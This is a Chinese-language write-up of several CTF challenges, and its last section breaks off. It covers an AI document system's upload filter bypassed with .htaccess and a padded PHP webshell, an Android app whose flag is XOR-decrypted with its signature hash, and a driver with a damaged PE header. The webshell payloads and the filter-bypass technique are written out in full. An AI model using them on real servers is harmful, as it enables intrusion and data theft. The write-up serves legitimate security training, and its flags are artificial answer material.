某科技公司开发了一套 AI 文档管理系统,声称可通过内容分析引擎阻挡恶意上传。一次安全检查中,审计人员发现系统留下了被绕过的痕迹与加密的访问日志备份;请还原相关证据,找出攻击者 IP、关键日志 ID 以及被窃取的机密文件名称,并在题目中提交即可获取flag。
文件上传区(调用 upload.php)
已归档文件列表(调用 list.php,每 5 秒刷新)
AI 分析结果查看(调用 analyze.php)
下载已归档文件(调用 download.php?file=xxx)
导航栏还有一个 “Evidence Submission” 链接(submit.php)
提交已找回的攻击者IP、密钥日志ID以及被盗的机密文件名。最终结果仅在三个值完全匹配时才会返回。
尝试通过 download.php?file=…/…/…/etc/passwd 进行路径穿越,返回 “Invalid file path”。尝试 download.php?file=config.php 返回 “File not found”。
上传 .php 文件返回 “Unsupported file type”。上传 .txt 文件成功。但上传 .htaccess 文件也成功了!
上传一个一句话木马.txt
AI detected malicious content in the first 1KB of the file
所以我们在一句话木马前填充一些垃圾字节
.htaccess
AddType application/x-httpd-php .txt
构造payload
$padding = “A” x 2048;
$phpcode = “<?php echo file_get_contents('/var/www/html/config.php'); ?>”;
$content = $padding . “\r\n” . $phpcode;
成功拿到config.php,证明可行
再执行
<?php echo shell_exec('find /var/www -type f 2>&1'); ?>返回结果中出现了关键文件:
/var/www/html/uploads/admin/db_backup.conf
/var/www/html/uploads/admin/upload_logs/.hash_record
/var/www/html/uploads/admin/upload_logs/access.log
/var/www/html/uploads/admin/upload_logs/access.log.backup
存在一个隐藏的 admin/ 目录,包含:
db_backup.conf — 数据库备份配置文件(内含加密密钥!)
upload_logs/access.log — 明文访问日志
upload_logs/access.log.backup — 访问日志备份(加密的)
.hash_record — 日志完整性哈希记录
返回内容:
[integrity]
Log integrity verification enabled
Backup encryption: XOR with db_password
Original hash: d79666476d5206d9c01b7a3b8b51ed0fb78bd00eacde38e47dade6f92ca25d07
[database]
password = AIDoc#2024Secure
关键信息:
加密方式:XOR with db_password(与数据库密码进行 XOR 加密)
数据库密码(即加密密钥):AIDoc#2024Secure
原始哈希:用于验证日志完整性的 SHA256
解密结果:
{“time”:“2024-10-10 14:30:12”,“ip”:“192.168.1.100”,“action”:“upload”,“file”:“report.pdf”,“status”:“success”}
{“time”:“2024-10-10 15:14:51”,“ip”:“203.0.113.88”,“action”:“shell_exec”,“command”:“cat /opt/secrets/operation_darknet.txt”,“log_id”:“LOG-20241010-88239”,“severity”:“critical”}
{“time”:“2024-10-10 15:15:22”,“ip”:“203.0.113.88”,“action”:“file_steal”,“file”:“operation_darknet.txt”,“size”:4521,“log_id”:“LOG-20241010-88240”,“severity”:“critical”}
从解密后的日志中提取出三条关键证据:
攻击者 IP:203.0.113.88(执行 shell_exec 和 file_steal 操作的 IP)
关键日志 ID:LOG-20241010-88239(首次 shell_exec 的日志条目,标记为 critical 严重级别)
被窃取的机密文件:operation_darknet.txt(攻击者从 /opt/secrets/ 目录窃取的文件)
访问 submit.php,提交三个值:
Attacker IP: 203.0.113.88
Key Log ID: LOG-20241010-88239
Confidential File Name: operation_darknet.txt
返回结果:
Verification passed: flag{1jsm71kr3inr981udk4j7jq5s2s5iia7}
re
CodeSign
一个移动保险库显示访问已被允许,但秘密仍然没有出现在眼前。请理解应用如何决定展示内容,并还原隐藏结果。
apk安卓逆向
跳到主activity
public class MainActivity extends AppCompatActivity {
private static final byte[] SECRET_DATA = {86, 10, 3, 1, 77, 124, 123, 97, 109, 37, 64, 90, 2, 89, 8, 5, 111, 115, 64, 66, 4, 16, 65, 62, 123, 8, 88, 81, 30};
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity protected void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView(R.layout.activity_main); final TextView textView = (TextView) findViewById(R.id.tv_console); final TextView textView2 = (TextView) findViewById(R.id.tv_flag); ((Button) findViewById(R.id.btn_unlock)).setOnClickListener(new View.OnClickListener() { // from class: com.icqctf.signcheck.MainActivity$$ExternalSyntheticLambda0 @Override // android.view.View.OnClickListener public final void onClick(View view) { this.f$0.m125lambda$onCreate$0$comicqctfsigncheckMainActivity(textView2, textView, view); } }); } /* renamed from: lambda$onCreate$0$com-icqctf-signcheck-MainActivity, reason: not valid java name */ /* synthetic */ void m125lambda$onCreate$0$comicqctfsigncheckMainActivity(TextView textView, TextView textView2, View view) { String strDecrypt = decrypt(SECRET_DATA, SignUtils.getAppSignature(this)); textView.setText(strDecrypt); if (strDecrypt.startsWith("flag{")) { textView2.setText("> ACCESS GRANTED.\n> DATA RENDERED TO BUFFER.\n> UI OUTPUT: DISABLED (Security Mode)"); textView2.setTextColor(-16711936); } else { textView2.setText("> SIGNATURE MISMATCH.\n> DECRYPTION FAILED.\n> OUTPUT GARBAGE."); textView2.setTextColor(SupportMenu.CATEGORY_MASK); } } private String decrypt(byte[] bArr, String str) { if (str == null || str.length() == 0) { return ""; } byte[] bytes = str.getBytes(); byte[] bArr2 = new byte[bArr.length]; for (int i = 0; i < bArr.length; i++) { bArr2[i] = (byte) (bArr[i] ^ bytes[i % bytes.length]); } return new String(bArr2); }}
直接找关键逻辑
if (strDecrypt.startsWith(“flag{”)) {
textView2.setText(“> ACCESS GRANTED.\n> DATA RENDERED TO BUFFER.\n> UI OUTPUT: DISABLED (Security Mode)”);
要String strDecrypt以flag{开头
再去看String strDecrypt的逻辑
String strDecrypt = decrypt(SECRET_DATA, SignUtils.getAppSignature(this));
private String decrypt(byte[] bArr, String str) {
if (str == null || str.length() == 0) {
return “”;
}
byte[] bytes = str.getBytes();
byte[] bArr2 = new byte[bArr.length];
for (int i = 0; i < bArr.length; i++) {
bArr2[i] = (byte) (bArr[i] ^ bytes[i % bytes.length]);
}
return new String(bArr2);
}
逻辑不复杂,把SECRET_DATA和SignUtils.getAppSignature进行异或
继续跳转去看getAppSignature
public static String getAppSignature(Context context) {
try {
return hex(context.getPackageManager().getPackageInfo(context.getPackageName(), 64).signatures[0].toByteArray());
} catch (Exception unused) {
return “”;
}
}
跳到hex函数
private static String hex(byte[] bArr) throws NoSuchAlgorithmException {
try {
MessageDigest messageDigest = MessageDigest.getInstance(“SHA1”); //声明sha1算法
messageDigest.update(bArr); //传入参数bArr
byte[] bArrDigest = messageDigest.digest(); //计算出结果
StringBuilder sb = new StringBuilder();
for (byte b : bArrDigest) {
String hexString = Integer.toHexString(b & UByte.MAX_VALUE);
//UByte.MAX_VALUE即无符号字节的最大值,也就是255,按位与255转换为无符号整数
while (hexString.length() < 2) {
hexString = “0” + hexString;
}
sb.append(hexString);
}
return sb.toString().toLowerCase();
} catch (Exception unused) {
return “”;
}
}
问题是如何找到hex函数的参数
context.getPackageManager()
.getPackageInfo(context.getPackageName(), 64)
.signatures[0]
.toByteArray()
64 是 PackageManager.GET_SIGNATURES这个常量的值,就是请求签名的指令码
然后signatures[0]取到签名,再.toByteArray()转换成字节
在jadx中拿到签名sha1
0F BF 65 80 2A 94 64 9F 01 92 0C 2A 09 66 C2 93 4E 81 7F 73
写个脚本跑出来
secret = [
86, 10, 3, 1, 77, 124, 123, 97, 109, 37,
64, 90, 2, 89, 8, 5, 111, 115, 64, 66,
4, 16, 65, 62, 123, 8, 88, 81, 30
]
key = “0fbf65802a94649f01920c2a0966c2934e817f73”
flag = ‘’.join(
chr(b ^ ord(key[i % len(key)]))
for i, b in enumerate(secret)
)
print(flag)
drive
公司的驱动程序好像出bug了,连接的程序也连接不上,重新连接驱动还需要重新输入密钥,请尽快修复程序连接驱动!(缺失的符号md5=f2c6151d6c0d99f3666129b97e2100f5)。
核心文件只有两个:link.exe 和 Driver.sys
一个程序一个驱动
先看exe的string
\.\Device???
flag
可能是在device这里破坏了
sys文件本质是PE文件,同样具有MZ开头,但是我们查看发现
原本的 4D 5A变成了09 5A
改回去之后发现下面还有异常内容
J…D…L.!Th
-s p6ogr%m c%nno
0 bedrundin .OS
This转16进制是
54 68 69 73